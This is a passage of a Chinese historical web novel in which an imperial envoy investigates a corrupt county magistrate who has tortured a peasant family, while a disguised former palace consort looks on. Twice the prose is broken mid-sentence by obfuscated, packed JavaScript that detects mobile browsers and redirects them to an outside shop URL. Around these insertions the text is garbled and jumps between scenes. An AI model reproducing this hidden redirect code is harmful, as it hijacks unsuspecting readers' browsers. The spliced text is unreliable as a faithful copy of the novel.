这时候,陆陆续续有村民过来了,丰婶又把事情说了两遍,大家便都晓得了。 只是纵使知道了来龙去脉,又能怎么办呢? 黄婶肝肠寸断,泣不成声:“二郎,杀,杀人,没个办法。当家的和闺女,怎么也,被抓了……能,能不能出来了……” 黄二郎当街杀人,有目共睹。虽然事出有因,又是无心之失,然而杀的是县令的侄儿,恐怕三条命也不够赔的…… 民不与官斗,他们小老百姓,怎么斗得过当官的呢。摊上这样的事,便是家破人亡,也只能认命了。 世道如此。 大家聚在院子里,也想不出一点儿办法。有跟黄家关系亲近的,最多只能低声劝慰两句,还有些关系远的,见帮不上忙,只能唏嘘哀叹两句。一时物伤其类,愁云惨雾。 村长沉默许久,说道:“我家老四在衙门里做事,明儿我亲自去城里跑一趟,看看能不能打听点情况。” 黄婶仿佛抓到了希望的浮木,拼命点头,只是哭得一句话都说不出来。 村长犹豫一下,叹了一声,低声道:“黄大家的,我知道黄大去年给自己置了棺材,要是你们家二郎……有什么要村里帮忙的,尽管开口,大家不会不管的……” 话音未落,黄婶抽了一口气,两眼翻白,厥了过去。 “黄老!” 村长已经走出了大门,忽听有人喊,于是驻步回头,看到一道人影紧跟身后,不由诧异。 “是你啊,怎么了?” “您明儿早上进城能不能捎上我。” 村长打量乔燕一番,不解道:“你这女娃,这时候要进城做什么?” “我本是和黄家父女一起入城赶集的,只是我回得早,不想后来竟出了这等事。我孤寡一人,黄家父女素来待我亲厚,帮我良多。我想明天进城看看,有没有能帮他们的地方。” “你这番费心,倒不枉他们照顾你。”村长意味深长地看着她,竟没有质疑她一介寡妇的能力,更不曾追问。 村长活了一辈子,儿时还念过书,眼光自是毒辣。早在这高寡妇来时,纵使她穿着朴素,村长也一眼就看出她出身非富即贵,后来偶然听说高氏用度十分奢侈讲究,更是断定了想法。 只是无论显赫贫穷,遇上天灾,都逃不过残酷的命运。高氏自来后便深居简出,与人为善,又何必深究。 如今黄家出事,她竟站了出来,有心担下这么大的事儿,确实让村长高看一眼,心里对她的来历又有了新的揣测。 “那成,你回去歇一歇,我们五更就出发。” 回到厢房,乔燕在门边站了会,慢慢走到床前,蹲下身在床板下摸索了一会儿,抽出一个扁平的木盒。 打开盒子,里头只有一枚通透的玉章,是她的太妃宝印。这一路颠沛奔波,四处逃命,她也一直将这枚宝印揣在身上,并非是怀念宫中钟鸣鼎食的生活,而是为了以防万一,在关键时刻可以找到官府自证身份,以保平安。 毕竟这样的灾年,活下去尚需拼尽全力,人性不值一提,她总得留个后手。 半年过去,乡间消息阻滞,没有再听到亳王的消息,但是想来当初的事已经告一段落,两边都不再轻举妄动。她只是个不涉朝政、无关紧要的宫眷,淮党不会在这时对她做什么。 她叹了一声,将宝印塞进荷包,靠着床头假寐了少时。也许一直醒着,也许睡着了,好像弹指闭眼间,村长媳妇就在外头唤她了。 “冯天使,这边请。 十一月收到刑部签发的驾贴后,下官是片刻不敢懈怠,在各个出入要道均设了检司,更是命人日夜守在王别善的祖宅外,总算在两日前将此人捉拿归案。此后,下官宵衣旰食,呕心沥血,不辞劳苦,夙夜整理完成上呈的题本与揭帖,亟待发出,便听闻天使来讯……这边这边,当心脚下。” 县衙内,县令和几个部吏正陪同一人往大牢方向走去。 此人今早忽然带着一个锦衣卫来到衙门禀明身份,竟是有圣上御笔在身的钦差,奉命前来查半年前就轰动淮地的贪赃案。 这名天使,乃是圣上暗中从琼地调来的官员,姓冯名矩,无官职在身。因此人并非来自京师,是以在此之前淮地官员都没有能够听到风声,今早突然登门,可吓了县衙上下好大一跳,幸好他们未雨绸缪,早做准备,这才没被打个措手不及。 琼地离淮安府十万八千里,最快的脚程也要月余,恐怕在当初的“名单”一送到圣上眼皮子底下,圣上就做好决心,安排这位钦差启程了。 县令章承心里跑着马,耳边听冯矩问道:“可曾审讯了?” 章承瞥了一眼旁边的锦衣卫,锦衣卫的手一直按在腰间刀柄上。他收回目光,略有谄媚地答道:“此案干系重大,下官又是个谨小慎微之人,岂敢刑讯,正是要将人发往京师刑部,待上署处理。” 这赣榆县县令不仅话多,且时时不忘自夸……冯矩忍不住看了他一眼。 “怎么了天使,可是小官脸上有什么?” “咳。这不仅是刑部的案子,圣上已下令三司会审,我此行前来正是为了王别善,不想县尊已经将人缉拿归案,回头本官定会将县尊的劳苦高功如实禀报圣上。” 章承喜笑颜开:“那就多谢天使了。我们到了,天使请随我来。” 说话间已到了县衙大牢,章承亲力亲为,从看门的衙差那里要过一串钥匙,亲自打开了大门,取下墙上的风灯,在前引路。不多时便到了一处监牢,果然是通缉已久的淮北盐场的吏员王别善。 冯矩就站在监牢外,要过案卷翻了翻,忽然道:“王别善沦为一介阶下囚,却体洁衣净,可见县尊治下宽仁,令人佩服。” 章承呵呵笑了两声:“您不进去问话么?” “倒也不必了,我此行只负责缉拿此人,既已拿到,那我们便不日回京了。” 说这话时,冯矩有意观察,章承老奸巨猾,脸色不变,什么都看不出来,一旁的师爷倒是悄悄松了一口气。 章承道:“左右人在这也跑不了,天使一路劳累,难得来一趟,不如再歇两天,也好让下官一尽地主之谊。十五至十七这三日恰好是我们赣榆县年底的大集会,夜里热闹非常,还有两天,您可以去看一看。” 冯矩想了想,笑道:“也好,那就有劳县尊了。” 这位钦差并不似那等又臭又硬的石头,倒让章承心弦微松,想着:最好能做到宾主尽欢,皆大欢喜,这两日便好好伺候,等将这尊大佛送走,后头神仙打架,也与他们赣榆县无关了。 这么想着,章承面上更是不敢有丝毫怠慢之色,将人朝监狱外引去。 孰料,经过一监牢时,钦差脚步一顿。 章承心里一跳,忙向里看去,只见这间牢房里关着父女两人,正是昨夜才关进来的。 冯矩停止脚步,却是因为那小姑娘有些面善。他自幼擅于识记,过目不忘,再细看两眼,便回忆起,与这牢里的小姑娘前一天夜里在客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116327|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栈门口曾有一面之缘。 小姑娘年不过十二、三岁,抱膝坐在墙边。她的双手血肉模糊,脏兮兮的脸上还挂着泪痕,却像是已经哭累了,双眼空洞,呆呆地看着地面。 而她的腿边,湿冷的草垫上躺着中年男人,浑身是血,双眼紧闭,眼见是不好了。 冯矩脸色不改,却眼神微沉。 仅一夜工夫,便将人折磨如此,可见脱离律法用了重刑。 章承眼睛一转,小心又不解地问道:“天使,这是怎么了?” 冯矩转眼看向章承,语气如常地问道:“这里的人我昨夜还在街上遇见过,这是犯了什么事?” 章承是万万没想到他会过问这事儿,更没想到他竟认识那父女,含糊道:“他们昨夜当街杀人,这才被抓起来。” “这么小的孩子,也能杀人吗?” “是她的哥哥杀了人,她当时在旁边,是帮凶。” “她的哥哥呢?” “呃……” 章承揩了一把鼻尖的汗,师爷忙道:“天使大人有所不知,他们杀的乃是我们大人的侄儿,凶手当街行凶,众目睽睽,岂有冤枉之理。那凶手,也就是这女孩的哥哥杀了人后自知理亏,于昨夜自尽了。” 也不知哪个词戳到了牢里的人的神经,那看起来呆呆傻傻的小姑娘忽然一跃而起,扑到铁门上。 “我哥哥没有自尽!!是他们!!是他们将我二哥活活打死了!!” 师爷脸色一变,喝道:“胡言乱语!还不把她拖下去!” 冯矩目光定定地看着章承:“两位应当知道,我朝律法规定,若犯凶案,县官有拟判死刑之权,却无权定案,更无权私自动刑。” 当朝对死刑极为严苛,地方若有人犯案,地方官员仅可拟判,案件需要递去中央刑部,逐级复核,最终由皇帝勾决。 章承吓得连连拱手:“天使大人这是说的什么话,这些刑律,下官自是清楚,怎敢私下判刑,那凶手是自尽了!不是我们杀的。天使这些话,可要慎言呐!” 小姑娘已经被衙役捂着嘴抱进去了,冯矩心中有异,但是想到这章县令是官场老手,做事必不会留把柄,既敢如此开口,恐怕证据案卷一应确凿。 再者当街行凶,有目共睹,实在是没什么好冤枉的。 就算有猫腻,自己再问下去,不仅无功,还容易打草惊蛇,引人不快。 想到这里,冯矩不由无声一叹。 只是…… 他忍不住再问:“这小姑娘,是不是有个姐姐,昨夜一起的,可在这里?” “姐姐?”章承与师爷对视一眼,师爷上前道:“此女只有两个兄长,其中长兄应征未归,没有姐姐。” “哦。” 冯矩开了话头,又戛然而止,留下二人面面相觑:他问这个做什么?什么姐姐?莫非这一家白丁另有背景,钦差在暗示他们? 冯矩转身时,又与那小姑娘对视了一眼,小姑娘嘴还被捂着,只露出一双睁圆的眼,含冤负曲,不得昭白。 一直到走出牢狱,温暖的日光照在身上,他身上都是冰冷的。那双眼印在他脑海里,久久挥之不去。 太熟悉了。 曾几何时,那双眼也曾出现在他亲人的脸上,出现在他脸上,出现在他的梦里。如魔如魇,日夜折磨。 衙门对面的树下,乔燕深吸一口气,正要上前。 一进城后,村长夫妇打听到在衙门当差的老四今日休息,于是先动身去寻儿子了。乔燕说服他们将自己一人留在了这里。 谁知就在她决心去县衙自报身份的时候,一行人忽然从里面走了出来,看到当中那人的脸,她心中一跳,下意识躲在了树后。 却只见县令落后他一个身位,极为恭敬,而他身侧还站着一名锦衣卫,身着皇帝特赐飞鱼服,可见地位不低,往那一站便是一种威慑。 契阔三年,再见竟是在这里,看情形,他似已受皇帝起复,或更甚有之。 乔燕心念急转,倒也不急着上前了。 45. 钦差 中午由县令章承请客吃了顿小酒,午后,冯矩回到衙门。因答应在此寄居两日,章承便命人在衙县衙后院给他安排了一间小院。穿过抄手游廊,冷白的阳光从树荫和屋檐漏下,光影斑驳,幽幽索索。 恰逢此际,一道人影蹑手蹑脚,左顾右盼地靠近院门,扒着门缝看里头,给此情此景更添鬼意。 冯矩要回院子的脚步不由有些迟疑。 扒着门的那位好汉穿着捕快的衣服,身高八尺,身形壮硕似熊,扒门缝扒得聚精会神,直到冯矩慢吞吞地走到他身后,都没意识到背后有人。 冯矩伸手拍肩:“这位兄台……” “鬼啊!!” 好汉吓了一跳,连回头看的勇气都没有,原地抱头蹲下,努力将自己蜷缩在阴影里瑟瑟发抖。 冯矩反而被他这一嗓子唬了一跳,伸出去的手愣在空中,啼笑皆非:“……我不是鬼。此处也没有鬼。小兄弟起来吧,你来寻我,不知有何贵干?” 好汉总算反应过来,直起身,本有些尴尬,但是提及正事,那些情绪霎时被抛之脑后,囫囵一抱拳,正色道:“请问可是钦差冯大人?” “是我。你认得我?”冯矩眉梢微动,打量的目光隐含锐利,“是章县令要你来寻我的吗,可我才与他分开。” “不是不是。钦差大人,小的私自寻您,县尊不知道,小的想向您请托一件事。昨天晚集市上,县令的侄子武子邱喝醉了闹事,把一家摊子掀了,还看中了那家小女儿,要带回家。那小女儿的哥哥黄二在场,为了保护妹妹,推了武子邱一把,恰好武子邱烂醉如泥,下盘不稳,摔倒在地,头磕到了石阶,当场丧命。 因为意外出了人命,那一家三口被当场缉拿。黄二读过私塾,懂一些律法,知道意外杀人罪不至死,他也甘愿受罚,这才束手就擒。谁料当夜就被县令命人在牢里活活打死。” 冯矩挑眉。 不为别的,而是因为这人乍看憨实,述事却条理分明,这也就算了,更厉害的是,短短几句,句句在提醒‘凶手’罪不该死,该死的另有其人。可见粗中有细,是个人才。 他说的内容,倒是让冯矩对上了牢里见过的那对父女。结合章承当时所言,应当就是他们。 一双仇恨的眼在脑海里一闪而过,冯矩又回忆起那个小姑娘,她有一双血淋淋的手,十指不成形,应是受过拶刑。 那么小的孩子啊…… “你要我帮他们平反吗?” 捕快摇头,苦笑:“章承在任八年,快成我们县的土皇帝了,他又十分圆滑,不论私下如何为恶,官面上总是做得漂亮,他说犯人是自杀,那犯人自杀的一应证据证人、动机行迹,都备好了。大人您虽是朝廷钦差,但老话说强龙压不过地头蛇,不求您费心平冤,只求您能将剩下的那对父女救下来,他们被关在大牢里,恐怕撑不了多久了。” 迟疑一瞬,捕快又说道:“那家人还剩一个妇人,就在衙门外头,我本想将她带进来见您,但是这衙门人眼重重的……” 他挠了挠耳根。 门外的便是黄婶,早上村长回去将她接了来,本是怕钦差独善其身,不肯淌泥水,届时让黄婶哭一哭,见到她肝肠寸断的憔悴样子,但凡心头还有一点善念,再铁石心肠的人也会心软。 但如今看,好似不必了。 正如那高氏寡妇所说,这钦差看起来便似正直之人,目光澄明,内有气度。 捕快用眼睛偷偷觑人,眼里不知道在赞叹什么,冯矩尽收眼底,移开目光,轻咳一声,道:“你引我出门去见她便是。” “啊?哦,那我出去跟他们说一声先。” 他们?冯矩注意到他的措词,心念一动,“不必麻烦,我随你一起去便是。” “也好。” 出去路上,捕快闷头走在前面,冯矩问他:“不知小兄弟该怎么称呼?” “怪我,我竟忘了自表姓名。钦差大人,小的姓黄,单名一个‘胜’字,族里排行第四,大家都唤我黄四。” “那黄二是你……?” 黄胜一顿,小心地瞥一眼钦差脸色,说道:“正是小的堂兄。那牢里的是我大伯和堂妹,还请大人救他们。” 冯矩没有应声。 眼见快到大门,他的注意不由自主地从黄胜身上抽开,有些心不在焉。 离门越近,一种近乎于胆怯的情绪笼罩了他,让他不敢上前。他停住了脚步。 黄胜见状,不得不跟着停步,纵使心里焦急,也不敢催促。 冯矩沉吟片刻,忽然开口:“你的堂妹,可有一个认识的人,年轻女人,可让她唤作‘姐姐’的?” “小的堂妹的‘姐姐’?”黄胜是一百个傻眼,念了一遍这拗口的话,舌头差点打结。他自幼读书便不好,先生总说他脑子痴笨,想来先生慧眼识人,饶是他抓破脑袋也想不到钦差问话中的深意。 “呃,这,喜娘身边差不多年纪的‘姐姐’很多,我们村是个氏族村,大家基本都姓黄,祖上是一家,喜娘年纪又小,‘姐姐’太多了,”黄胜小心地瞥他角色,“大人,‘姐姐’和案子有关吗?” 冯矩静默一瞬,一叹。 罢了。 县衙角门外,一颗枣树下头站着位妇人。一看便知常做农活,身形不高,皮肤皴黑,背微佝,交握在身前的手指粗大,沧桑掩埋了真实的年纪。 除她之外,还有一对年长的夫妇,黄胜指着他们介绍道:“那是小的爹娘。那位就是小的说的伯婶。爹!娘!婶婶,这位就是朝廷来的钦差大老爷。” 话音刚落,黄婶扑通就要跪下,幸好冯矩眼疾手快,托住她胳膊拦住了。 四下再无旁人了,冯矩有些失望,转眼又嘲自己白日做梦,不再痴想,将几人领到不远的茶摊上,问起话来。 给村长出过主意后,因不想与冯矩照面,乔燕便早早离开了衙门,又因着挂心案件,没有回村,而是在县城里找了家客栈住下。 回村报信的婶娘语焉不详,到现在为止,她都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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班主好半天才把目光从银子上挪开,客气地问道:“小姐有什么事吗?” “想向您打听个事儿。听说昨天街上出了命案,就在您的戏班子不远,您可知事情经过?” 班主这才把银子收下,手里一掂量,五两没跑了。 “有个公子哥在前面那家留香居喝多了,走路的时候撞到了路边的摊子,摊主的女儿上前道歉,被公子哥像这样抓住手腕,”班主随手抓住身边人的手腕,那人笑呵呵的,十分配合,“扯过去,要把她带回府上,还说了一些污言秽语,那女孩儿的哥哥气愤不已,夺过妹妹的时候推了公子哥一把,公子哥直挺挺地朝后倒去。” 班主双手一摊:“就没了。” 说完事情经过,班主半点旁的不相干的都没问,只见眼前的小姐站了一会儿,低声道了句多谢,就离开了。 虽只说了两个字,班主却听出了隐忍的愤怒。那这小姐就是摊主那边儿的,班主悠悠地想。 46. 狎妓 晚上时分,听闻钦差驾到,淮安府的知府带着一帮子官员紧赶慢赶地在晚饭前赶来了,于是章承又换了家酒楼摆宴,一水的美菜美酒美人。 唤人陪酒也有试探的意思在里面。这下凡的钦差,若露得三分喜好,纳了递上来的好意,便是“体面”之人,做“体面”之事,最后大家都体面。章承午时摆宴还略收敛,只上了名酒,见冯矩顺水推舟,心头便琢磨着可以再进一筹,才有晚上陪酒的美人。 那头冯矩进门,全场的注意便都在他身上,却只见钦差大人含笑入席,来者不拒,十分自然地由着美人偎在身边,喝过美人递来的酒,道一声“好酒”,目光温柔且深情,十足的膏粱子弟。章承便知此次稳了,这狗官看着人模人样,却也是个披着人皮的禽兽,害自己一整天都提心吊胆,真不是东西。他本来还打算酒色钱权各试一遍,没想到刚开头就投了钦差所好,倒是省事很多。 酒过三巡,宴席到了终了,官员们喝得酩酊大醉,人皮一脱,丑态毕露,各自搂着美人寻个空屋子入了温柔乡。 这一桌酒尽数敬了钦差,冯矩醉得晕头转向,腿直打软,章承和美人一左一右搀着他,好容易才把人捋直了。 “天使啊,咱们回衙门吧?” “回,回去……” “哎,这就……” “……做什么!”钦差大着舌头把话说完。 章承试探道:“那不回的话去哪儿呢?” 钦差头一偏,就凑到了陪酒的美人颈侧,呼出的热气烫的美人耳根通红。男人低沉温柔的声音慢腾腾地说道:“他们去哪……我也去哪……嗯?” 一想到脖子上的男人的模样,美人腿都软了,心想受了半辈子苦,原来福气在这儿等着了。 章承立马懂了,十分上道:“那下官这就送您和这位姑娘去隔壁厢房。” “你,你不必来。你来做什么,回吧。”冯矩一把抽出章承搀着的那只胳膊,全身赖在美人身上,踉跄着就近找了间厢房。 门“砰”一声关上了。 章承凑过去,忽有道黑影急不可耐地压到门上,吓了他一跳。只见门上透出人影叠叠,分外暧昧,隔着门甚至似乎能隐隐听到喘息,章承这才露出个意味深长的笑,放心地走了。 嘘—— 屋子里,琴柳背抵着门,眼瞳睁得老大,盯着跟前的男人。男人离她不过咫尺,却仍守着一寸分寸,唯一接触的地方便是捂在她嘴上的手。男人竖起食指,做了个噤声的动作,聚精会神地听着门外脚步,眼神清明,哪有半分方才的丑态。 不知为何,琴柳脸更红了。 他捂着她的嘴,她能闻到酒香之下,还有股洁净的皂香。 等屋外脚步彻底远去,钦差才松开了手,低声道:“坐到里间,不要叫喊,不要出去,可明白?” 琴柳哪里还不明白他方才都是装出来的,虽不知为何,但官场上的事,也不是她们这等下九流人士能掺和的,唯有乖乖点头配合。 钦差呼出一口气,揉了揉额角,走去把临河的窗户开了。阵阵凉风吹进来,吹散了浮动的人心。钦差坐在桌边,一手支头,又揉了揉额角。 他今晚虽多为做戏,但喝下肚的酒都是实在的。 琴柳坐在里间的床上,小心地道:“大人,奴家会些按乔手段,要不要奴家为您捏一捏?” 钦差听她怯怯地说完了,回道:“多谢好意,不必了。” 琴柳还要再说什么,却动作一顿,警惕地看向大开的窗牖——一双湿漉漉的手扒上了窗沿。 她骇了一跳,几乎要尖叫出来,钦差慢一步察觉,回头看了眼,低声道:“无事。” 语调平稳,使人信服,再大的惧意,似也能被慢慢抹平。 话音刚落,一道人影已经翻过窗户跳了进来。 进来的是个高壮的男人,身上的黑衣服也是湿漉漉的。 琴柳一眼便知来人不寻常。 不说那一身煞气,哪怕只看身形——个子高,说明自幼便无饱腹之忧,更甚者,要吃得足够丰盛,才能长出这么高的个子。这年头,平民大部分都比较瘦小,哪怕做多力气活,也不能变壮,最多瘦得精悍点罢了。 更别说他腰间还别着一把长刀。 “嘢,怎么找了这么个房间,要绕过正门只能凫水过来,得亏我水性还不错,要是换个人来,你今晚只能独守空闺了。” 来人张口便是地道的京师雅言,话里语调,又仿佛是个走马章台的纨绔。 “我也没办法,酒楼不是我选的。可有干净的衣服给我朋友换上?” 琴柳直到对上钦差的眼睛,才反应过来后半句是对自己说的,忙道:“有的,这屋子就是给宿客备的,这些客人常需要换衣服……就在您背后的衣柜里,都是新的。只是明日走时要多结一份衣服的账。” “算了。我也不冷,别多此一举,免得节外生枝了。” 新来的男人摆摆手,走到琴柳身边,说道:“不好意思姑娘。” 啊?琴柳一脸茫然,下一瞬就被捏在颈后,昏了过去。 对上钦差大人看过来的目光,黑衣男人“嘿”了声,“最多睡一晚,我下手有轻重。” 冯矩点点头,又唤:“仲蟾。” “仲蟾”是这人字,以字相称,可见二人颇为熟稔。“仲蟾”姓秋,名淼,诨名“三水”,乃锦衣卫百户。说来二人其实这才见第三次,但其中渊源颇深,确实有一些交情。 遥想第一次见面,秋淼不过锦衣卫一小旗,而冯矩更是戴罪之人,可见三载春秋,物是人非,非的也不尽然是坏事。 “不是说好接上王别善就走?这里不过偏隅小城,再加上他们显然早有准备,再逗留下去也寻摸不到什么东西。怎么,你为何又要留下?总不能是真的为了去集市上玩两天吧。” 冯矩眼神有一瞬间走神,很快恢复如常,快得就连盯着他看的秋淼也没发觉不对。 “我今儿看了,王别善虽被关在牢里,但照顾周全,一看便没有吃过苦头,看到我时,从容得有点不正常。” 秋淼没意识到他答非所问,顺着道:“嗐,那用说吗,推出来的弃子罢了。要我看,这人就算在淮盐案子里,也是个边缘人物,三棍子打不出一个屁,要真有什么东西,人早就‘自尽’了,哪还能等钦差来。” 冯矩点点头,用手掌轻按太阳穴,闭上眼道:“我看也是。” 秋淼话头一转,又绕了回去:“那你留下来做什么?” 冯矩没吱声。按揉太阳穴的手也停住了,睡过去似的。 秋淼打量他一眼,知道他还醒着,却还是忍不住问道:“你这是喝了多少?那一屋子十来个人,尽灌你一个了吧?你就不知道摆架子挡酒吗,好歹也是堂堂钦差,这么礼贤下士做什么,平白显得矮人一头,活受罪。” “少乱用成语。”钦差大人很无奈地叹了口气,听着气都虚了。只记得秋淼能说,但怎么这么能说,耳边像有十只鸭子吵架。 不仅自己能说,还催他:“你倒是说两句啊,怎么这么惜字如金,我的话一个不回。还是摇身一变成钦差了,看不上我这等狗腿子。” 锦衣卫最得势的时候,民间恶之甚深,私下都称其为皇帝的狗腿子。有的锦衣卫权贵出生,听不得这些,秋淼浑人一个,时常拿出来自嘲。 冯矩:“今晚,淮安府知府阮敏也来了。” 提起正事,秋淼神色一正。 “淮安府台离这可不近,我露面不过一天,就急着赶来了,可见这赣榆县也并非什么‘偏隅’之地。阮敏不来还好,他这样火急火燎,反倒有点乱了手脚。” 冯矩酒力上涌,渐有些支撑不住,提壶倒了一杯凉茶一口灌下,才找回些许清醒。 只是他说话条理清晰,秋淼是半点没看出他醉了,还以为喝水是因为口渴,见他喝完又端坐闭目不动了,不由催道:“嗯?还有呢?” 钦差大人慢吞吞道:“莫急。” 秋淼:“……” 此二字一出,更是急死个人。 “章承作为赣榆县令,若有什么,避不开他。我观章承此人,虽作油滑谄媚之状,实则老于世故,手段狠辣,非善与之辈。”想到白天牢里一幕,冯矩又道,“但毕竟年纪尚轻,城府不够,有些情绪遮掩不住……” 秋淼实在憋不住:“那老东西可五十有一,年过半百,快是你两倍的岁数了,你还说人家年纪尚轻。” “但他文景四十五年才考上同进士,浸淫官场时日尚短。” 秋淼又要说什么,冯矩道:“你听我说完。” 要是让这位开口,话题又不知要扯哪儿去了。 秋淼只得咽下喉咙口的话,做了个闭嘴的手势。 “今日在衙门里,倒是听到一桩新鲜案子,若从这里着手,说不得可以抓住章承把柄,进而撬动牵连甚广的淮盐案。” 秋淼若有所思地点点头,正要洗耳恭听这桩案子,却见冯钦差又闭目养神了。 他等了一会,见冯矩迟迟不开口,才唤了两声,却不想这回冯矩似乎是真睡过去了。 因着进屋子的时候情况特殊,屋内没有点灯,秋淼来后更是怕影子暴露,就摸黑商谈了。 其实也不算摸黑。窗户开着,外面的河水上飘着无数画舫,十里香粉红灯,连映进屋子的月光都透着暧昧的暖黄。 那光打在钦差的侧脸上,鬓边白丝纤毫毕现,眼角纹路尚浅,却有长时间日晒留下的浅斑,幸而整个儿皮肤都晒黑了,不仔细看看不出来。 秋淼忍不住心里算账:这冯子规今年多大来着?出事时方过弱冠,现今是二十有三?还是有四? 他忍不住心头微酸,熄了把人叫醒的心思,掐人中唤醒床上躺着的陪酒女子。 都无须施手段,秋百户拎着刀,把平时在诏狱里审犯人的气势拿出一半,琴柳就吓得魂飞魄散,把“父母双亡仅余一妹”交代得一 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“……灯是工部的匠人扎的,但灯面是我亲手所绘,藏着一道谜题,你猜出了吗?” 她愕然:“什么谜题?” “我就知道,还是太含蓄了。”他失笑,但若要他亲口说出来,又觉赧然,在她的追问下,只得灌了口茶,含糊道:“那灯上,我绘了一只春燕,停在叶片上。你不觉得奇怪吗,哪有鸟儿停在叶子上的。” 她恍然,顺着他所想,喃喃道:“‘叶’同‘协’,曾有‘心叶’之说……所以叶上燕就是心上……” 说到这,她蓦的住了嘴,脸刷的红了,背过身去。 眼前人是心上人。 见她这样,他反而不忸怩了,哈哈大笑,心潮涌动,轻轻握住雪腕,将她拉到眼前。 “五娘……” “什么五娘?” 陌生的胭脂香扑鼻而来,冯矩陡然意识到不对,摇摇头,眼神逐渐聚焦,神智这才回笼。 引入眼帘的陌生的印染床帐,屋中弥漫着酒气。 咻—— 窗外,一支烟花升空,恰好在正对着窗户的水面上方,将半个屋子都照亮了。 原来黄粱一梦,几度蝉时兰岁,梦外不过片晌。 秋仲蟾那不靠谱的,走也不给他把窗户关起来,吹了半宿冷风,难怪头这般疼。 待要伸手扶头,惊觉手中还捏着个腕子,冯矩慌忙松开,看着眼前期期艾艾的姑娘,正是章承寻来陪席的女客,一时头更疼了。这秋三水,窗户不关也就算了,还把这姑娘留在这,也不知是何居心。 “大人,天色尚早,您要就寝吗?” 琴柳红着脸要解他腰带。 “不,不必了,我……”冯矩慌忙作挡,哑口无言,从前在东厂诏狱他都不曾这般狼狈,“抱歉,在下方才……” 琴柳一笑,眼里闪过促狭之意,倒也不故意逗他了。她历经欢场,怎还会有那副小女儿姿态。只是这位钦差大人,应付那么多大官都举重若轻,谈笑晏晏,竟在面对她这个弱女子时失去从容,让人觉得十分稀罕。 她转身去桌上端过一只小碗。 “大人不常来这种地儿吧,宿醉的滋味可不好受。奴家去煮了碗醒酒汤,本要唤您喝完再睡,不想吓到您了。” 冯矩套好鞋,端坐在床沿,接过碗,道了声谢。 琴柳立在床边,趁他喝着汤,冷不防道:“大人还是个雏儿吧。” “咳咳咳咳——”冯矩一口呛到,发出撕心裂肺的咳嗽。 琴柳掩唇一笑,待他喝完,收拾了空碗,复又回到房间。见那位年轻的钦差露出警惕的眼神,忍不住又是一乐,说道:“奴家若不在这房里过一宿,大人的戏怕是要演砸了。您别怕,奴家就趴在这桌上凑活一夜,不会辱您清白的。” 钦差大人又被她看了笑话,但他脾气好得出奇,只是无奈一叹,“罢了,喝你一碗醒酒汤,你睡床吧,我方才睡了会,也不困了。” 琴柳眨眨眼,按理说,她们这行的,素来要以客人为先。但鬼迷心窍地,她竟接受了这人的好意。枕上枕头时,她忍不住在心里嘀咕:真羡慕啊,那个五娘。 她本想问一问那是个怎么样的姑娘,可是方才他惊醒时,眼里的失落与悲伤深深地刺痛了她。 要有什么样的故事,才会有那样的眼神?心如死灰,乃至绝望。 还是莫问了吧。 也不知过了多久,夜集散去,孤月高悬,冯矩倚窗而坐,孤独地看着那弯弦月。 久久,床帐里忽然传来幽幽唱腔。 “南山有杞,北邙有松。 我之怀矣,曷云能来? 鸿飞遵渚,子兮不晤。 长夜思服,辗转如诉。 蓬飞两岸,参商各游。 子既幽隔,我何能求? …… 子既幽隔,我何能求?” 47. 回忆 乔府曾经煊赫过,文景初年分过一次家,后来京中这一支渐露颓势,府中子弟少,偌大的宅子便难免有荒下来的院子。 乔府西北角莲花池边少有人来,池水干涸,露出青色的塘泥,中间戳着枯莲杆,边上堆着枯枝和几块略显突兀的太湖石。 池边并非空无一人。 一个瘦小的身影蹲在那里,细细的脖子,头上梳着双螺髻,像两只尖尖的猫耳。 他追着雪狸拐进月门时,看到的就是这副场景。 那孩子独自一人,手里拿着一根细长的树枝,正全神贯注地试图将漂浮在水面上的一片残荷枯叶拨弄到跟前。阳光下的腕子瘦得伶仃、白得晃眼。 她的动作很轻,很耐心,眉头微微蹙着,仿佛这是一件极其重要的事情。寸锦寸金的宝相花纹织锦裙摆随意地铺在泥地上,沾了些草屑,她也毫不在意。 他看了会儿,才弄明白,那孩子的动作漫无目的,并非在做什么游戏,更像是一种沉默的、只属于她自己的仪式,一种对生活的无声背离,沉浸在无人打扰的、短暂的自我世界里。 他迟疑片刻,转身要走,但很可惜,她已经发现了他,仰起脖子,直直地看向他。 也是这时,他才看到,她有双杏眼,不做表情时略显无辜。她也不像想象中那么小,正值豆蔻,是她那对双螺髻让他判断错了。 京中小姐多含蓄,是万万不会有这样直楞楞盯着外男看的。他一时进退两难,僵在原地。 “你是谁?”少女警惕地问。 “在下冯矩,是贵府四郎同窗,”既避不开,少年便大方拱手,“追一只雪狸到这里,不想扰了小姐清净。” 冯矩注意到,当听到他的名字时,少女有一瞬的惊愕,随即煞有介事地一蹙眉,看他的目光多了打量。 冯矩:“……” 可怜冯二郎君少有才名,受人追捧长大,注定的国之栋梁,何曾被一少女用这样生怕缺斤少两的目光掂量过。 他若有所思,本欲就此离开,却在这时有了别的思量。 他假装没看到少女催他离开的神情,走了过去。才走两步,她就应激地站了起来——若非确定世上无鬼神,他几乎要以为这少女就是那走失的白猫所化。 他在池边若无其事地蹲下来,离她两步之遥,看着那一池残叶败枝,好奇地问:“你在干什么?” 她抿着唇,过了片刻,才重新蹲下来,“没干什么。你追的什么雪狸?这是后院,她们说外男不能进来。” “贵府四郎是我好友,新聘了只雪狸要送给乔贵妃做生辰贺礼,不想下人照看不周,贺礼跑了,我又恰好在府上,被乔四抓了壮丁。” “哦。” 双螺髻余光偷偷看他,少年冷不防侧过头,她忙慌张收回目光。 